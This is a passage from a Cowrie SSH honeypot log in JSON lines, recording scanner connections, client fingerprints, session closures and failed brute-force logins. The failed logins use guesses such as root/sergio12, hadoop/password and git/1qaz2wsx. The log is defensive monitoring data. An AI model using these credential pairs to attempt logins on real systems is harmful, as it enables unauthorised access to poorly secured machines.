ne","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:59.318868Z","src_ip":"2.203.183.35","session":"1400f061e5d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rtest","password":"rtest","message":"login attempt [rtest/rtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:47:59.812063Z","src_ip":"2.203.183.35","session":"1400f061e5d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:00.936434Z","src_ip":"2.203.183.35","session":"1400f061e5d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":60556,"dst_ip":"159.203.135.109","dst_port":22,"session":"2767365cfd8c","protocol":"ssh","message":"New connection: 148.216.28.11:60556 (159.203.135.109:22) [session: 2767365cfd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:02.388315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:02.393639Z","src_ip":"148.216.28.11","session":"2767365cfd8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:02.458978Z","src_ip":"148.216.28.11","session":"2767365cfd8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"666666","message":"login attempt [ftpuser/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:02.747479Z","src_ip":"148.216.28.11","session":"2767365cfd8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:03.814695Z","src_ip":"148.216.28.11","session":"2767365cfd8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:06.047461Z","src_ip":"122.168.114.167","session":"e21a01d78d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":11278,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57cf45f70f8","protocol":"ssh","message":"New connection: 182.253.79.194:11278 (10.17.0.5:22) [session: b57cf45f70f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:10.970326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:10.974851Z","src_ip":"182.253.79.194","session":"b57cf45f70f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:11.243491Z","src_ip":"182.253.79.194","session":"b57cf45f70f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.6","message":"Connection lost after 29.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:11.526919Z","src_ip":"122.168.114.167","session":"e21a01d78d0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio12","message":"login attempt [root/sergio12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:12.350233Z","src_ip":"182.253.79.194","session":"b57cf45f70f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:13.622090Z","src_ip":"182.253.79.194","session":"b57cf45f70f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47686,"dst_ip":"159.203.135.109","dst_port":22,"session":"cba83d5865a8","protocol":"ssh","message":"New connection: 159.203.92.129:47686 (159.203.135.109:22) [session: cba83d5865a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:16.020594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:16.025604Z","src_ip":"159.203.92.129","session":"cba83d5865a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:16.032004Z","src_ip":"159.203.92.129","session":"cba83d5865a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:16.043510Z","src_ip":"159.203.92.129","session":"cba83d5865a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:17.050662Z","src_ip":"159.203.92.129","session":"cba83d5865a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33386,"dst_ip":"159.203.135.109","dst_port":22,"session":"29c4a7d60749","protocol":"ssh","message":"New connection: 122.168.114.167:33386 (159.203.135.109:22) [session: 29c4a7d60749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:18.960316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:24.487949Z","src_ip":"122.168.114.167","session":"29c4a7d60749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:24.491663Z","src_ip":"122.168.114.167","session":"29c4a7d60749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":58128,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc1fcb5918ad","protocol":"ssh","message":"New connection: 210.79.142.221:58128 (10.17.0.5:22) [session: bc1fcb5918ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:43.113512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:43.117479Z","src_ip":"210.79.142.221","session":"bc1fcb5918ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:43.361027Z","src_ip":"210.79.142.221","session":"bc1fcb5918ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e4r5t6y","message":"login attempt [test/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:44.369146Z","src_ip":"210.79.142.221","session":"bc1fcb5918ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:45.615169Z","src_ip":"210.79.142.221","session":"bc1fcb5918ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:45.917810Z","src_ip":"122.168.114.167","session":"29c4a7d60749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":48968,"dst_ip":"159.203.135.109","dst_port":22,"session":"09e3b4e42035","protocol":"ssh","message":"New connection: 148.216.28.11:48968 (159.203.135.109:22) [session: 09e3b4e42035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:47.206068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:47.210302Z","src_ip":"148.216.28.11","session":"09e3b4e42035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:47.277493Z","src_ip":"148.216.28.11","session":"09e3b4e42035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:47.575640Z","src_ip":"148.216.28.11","session":"09e3b4e42035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:48.644691Z","src_ip":"148.216.28.11","session":"09e3b4e42035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.8","message":"Connection lost after 32.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:51.757488Z","src_ip":"122.168.114.167","session":"29c4a7d60749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":51376,"dst_ip":"159.203.135.109","dst_port":22,"session":"10ccab658200","protocol":"ssh","message":"New connection: 2.203.183.35:51376 (159.203.135.109:22) [session: 10ccab658200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:52.548123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:52.552278Z","src_ip":"2.203.183.35","session":"10ccab658200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:52.704841Z","src_ip":"2.203.183.35","session":"10ccab658200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz2wsx","message":"login attempt [git/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:53.250009Z","src_ip":"2.203.183.35","session":"10ccab658200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:54.361791Z","src_ip":"2.203.183.35","session":"10ccab658200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35784,"dst_ip":"159.203.135.109","dst_port":22,"session":"96c3b56a5f52","protocol":"ssh","message":"New connection: 122.168.114.167:35784 (159.203.135.109:22) [session: 96c3b56a5f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:48:57.268450Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60710,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e205cfd75b4","protocol":"ssh","message":"New connection: 159.203.92.129:60710 (159.203.135.109:22) [session: 1e205cfd75b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:01.434240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:01.441504Z","src_ip":"159.203.92.129","session":"1e205cfd75b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.